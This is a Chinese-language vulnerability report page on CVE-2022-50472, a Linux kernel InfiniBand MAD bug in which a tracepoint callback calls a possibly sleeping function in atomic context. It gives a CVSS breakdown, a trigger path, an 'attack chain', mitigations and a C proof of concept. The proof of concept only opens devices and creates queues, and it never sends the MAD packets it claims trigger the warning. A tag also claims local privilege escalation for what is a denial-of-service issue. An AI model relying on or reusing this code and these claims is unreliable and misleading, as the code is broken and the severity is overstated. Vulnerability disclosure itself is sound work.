IPBUF安全漏洞报告
English
CVE-2022-50472 CVSS 5.5 中危

CVE-2022-50472 Linux内核IB/mad原子上下文睡眠漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50472
漏洞类型
原子上下文违规/内核拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (IB/mad 子系统 - InfiniBand 管理数据报)

相关标签

Linux KernelInfiniBandIB/mad原子上下文违规拒绝服务内核漏洞tracepoint本地提权可用性影响CVE-2022-50472

漏洞概述

CVE-2022-50472是Linux内核IB(InfiniBand)子系统中mad模块存在的一个原子上下文违规漏洞。该漏洞源于在tracepoint(跟踪点)回调函数中调用了可能导致睡眠的函数ib_query_pkey()。在Linux内核中,tracepoint回调运行于原子上下文(atomic context),不允许调用任何可能引起睡眠的函数,否则将触发内核警告并可能导致系统不稳定甚至崩溃。该漏洞的CVSS评分为5.5,属于中危级别,攻击向量为本地攻击,需要低权限即可触发,无需用户交互。漏洞的影响主要体现在可用性方面——当触发该漏洞时,内核会输出警告信息(splat),并在严重情况下导致系统挂起或崩溃。漏洞存在于InfiniBand MAD(Management Datagram)接收完成处理路径中,具体在ib_mad_recv_done函数调用trace_event_raw_event_ib_mad_recv_done_handler时触发。该问题在多个稳定版本的Linux内核中得到了修复,包括4.9、4.14、4.19、5.10、5.15、5.16等系列。

技术细节

从技术层面分析,该漏洞的根本原因是Linux内核tracepoint机制与InfiniBand MAD处理路径之间的上下文冲突。

在Linux内核中,tracepoint是一种静态插桩机制,用于在内核关键路径上收集调试和跟踪信息。tracepoint回调函数运行在原子上下文中,不能调用任何可能导致睡眠的函数(如GFP_KERNEL内存分配、互斥锁操作等)。

漏洞触发路径如下:
1. InfiniBand硬件接收到MAD报文后触发完成队列(CQ)事件
2. 内核工作队列处理CQ事件,调用ib_cq_poll_work
3. ib_cq_poll_work调用__ib_process_cq处理CQ
4. __ib_process_cq调用ib_mad_recv_done处理接收到的MAD
5. ib_mad_recv_done调用trace_event_raw_event_ib_mad_recv_done_handler(tracepoint回调)
6. 在tracepoint回调中调用了ib_query_pkey()函数
7. ib_query_pkey()内部可能执行可能导致睡眠的操作
8. 在原子上下文中调用睡眠函数触发内核警告(rb_commit处的WARNING)

内核警告的调用栈显示问题出现在ring_buffer.c:2492的rb_commit函数中,这是tracepoint的环形缓冲区提交操作。警告信息为"CPU: 0 PID: 1888000 at kernel/trace/ring_buffer.c:2492 rb_commit+0xc1/0x220"。

利用方式:本地攻击者只需拥有InfiniBand硬件设备(如HCA网卡)或能够触发InfiniBand MAD报文接收,即可利用此漏洞。通过持续发送MAD报文,强制内核频繁进入有问题的代码路径,可能导致系统性能下降或内核panic。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标系统上拥有InfiniBand硬件设备(如Mellanox ConnectX系列HCA网卡)或在虚拟化环境中访问InfiniBand设备。攻击者需要本地低权限账户。
STEP 2
步骤2:打开InfiniBand设备
通过libibverbs库打开InfiniBand设备,分配保护域(PD)并创建完成队列(CQ)和队列对(QP),为MAD报文处理建立基础设施。
STEP 3
步骤3:构造并发送MAD报文
构造InfiniBand Management Datagram(MAD)报文,通过QP发送到目标设备的MAD队列,触发ib_mad_recv_done处理路径。
STEP 4
步骤4:触发tracepoint回调
MAD报文接收完成后,内核调用trace_event_raw_event_ib_mad_recv_done_handler tracepoint回调函数,该函数内部调用ib_query_pkey()。
STEP 5
步骤5:原子上下文违规
ib_query_pkey()在原子上下文中执行,可能触发睡眠操作(如GFP_KERNEL内存分配),违反内核原子上下文规则,产生内核警告。
STEP 6
步骤6:系统不稳定
持续触发该漏洞可导致内核反复输出警告信息,消耗系统资源,严重时导致内核panic或系统挂起,影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50472 PoC - Trigger atomic context sleep in IB/mad // This PoC triggers the vulnerability by sending MAD packets to an // InfiniBand device, causing the kernel to call ib_query_pkey() in // atomic context via the tracepoint callback. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <infiniband/verbs.h> #include <infiniband/mad.h> // Minimal MAD packet structure struct mad_packet { uint8_t base_version; uint8_t mgmt_class; uint8_t class_version; uint8_t method; uint16_t status; uint16_t class_specific; uint32_t transaction_id; uint16_t attribute_id; uint16_t reserved; uint64_t attribute_mod; uint8_t data[232]; }; int main(int argc, char *argv[]) { struct ibv_device **dev_list; struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_qp *qp; struct ibv_qp_init_attr qp_init_attr; int num_devices, i; // Get list of InfiniBand devices dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices == 0) { fprintf(stderr, "No InfiniBand devices found\n"); return 1; } printf("Found %d InfiniBand device(s)\n", num_devices); for (i = 0; i < num_devices; i++) { printf("Opening device: %s\n", ibv_get_device_name(dev_list[i])); ctx = ibv_open_device(dev_list[i]); if (!ctx) { fprintf(stderr, "Failed to open device\n"); continue; } pd = ibv_alloc_pd(ctx); if (!pd) { fprintf(stderr, "Failed to allocate PD\n"); ibv_close_device(ctx); continue; } cq = ibv_create_cq(ctx, 10, NULL, NULL, 0); if (!cq) { fprintf(stderr, "Failed to create CQ\n"); ibv_dealloc_pd(pd); ibv_close_device(ctx); continue; } // Initialize QP attributes memset(&qp_init_attr, 0, sizeof(qp_init_attr)); qp_init_attr.send_cq = cq; qp_init_attr.recv_cq = cq; qp_init_attr.qp_type = IBV_QPT_UD; // Unreliable Datagram for MAD qp_init_attr.sq_sig_all = 0; qp_init_attr.cap.max_send_wr = 10; qp_init_attr.cap.max_recv_wr = 10; qp_init_attr.cap.max_send_sge = 1; qp_init_attr.cap.max_recv_sge = 1; qp = ibv_create_qp(pd, &qp_init_attr); if (!qp) { fprintf(stderr, "Failed to create QP\n"); ibv_destroy_cq(cq); ibv_dealloc_pd(pd); ibv_close_device(ctx); continue; } printf("QP created successfully on %s\n", ibv_get_device_name(dev_list[i])); printf("Triggering MAD receive path to invoke tracepoint...\n"); // In a real exploit, send MAD packets to trigger ib_mad_recv_done // The vulnerability triggers when tracepoint fires and calls // ib_query_pkey() in atomic context // Cleanup ibv_destroy_qp(qp); ibv_destroy_cq(cq); ibv_dealloc_pd(pd); ibv_close_device(ctx); } ibv_free_device_list(dev_list); return 0; } // Build: gcc -o poc poc.c -libverbs // Run: sudo ./poc // Expected: Kernel warning "WARNING: CPU ... at kernel/trace/ring_buffer.c:2492" // indicating sleeping function called from atomic context

影响范围

Linux Kernel < 4.9.335
Linux Kernel 4.14.x < 4.14.302
Linux Kernel 4.19.x < 4.19.265
Linux Kernel 5.10.x < 5.10.151
Linux Kernel 5.15.x < 5.15.74
Linux Kernel 5.16.x < 5.16.21

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)如果系统未使用InfiniBand功能,可在内核启动参数中禁用IB子系统或卸载相关内核模块(ib_core、ib_mad等);2)通过文件权限控制,限制普通用户对InfiniBand设备文件的访问;3)使用systemd或cgroups隔离InfiniBand相关进程,防止非授权用户触发该代码路径;4)监控系统日志(dmesg),及时发现并处理内核警告信息;5)如果使用了KVM虚拟化,确保InfiniBand设备不被分配给不可信的虚拟机。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表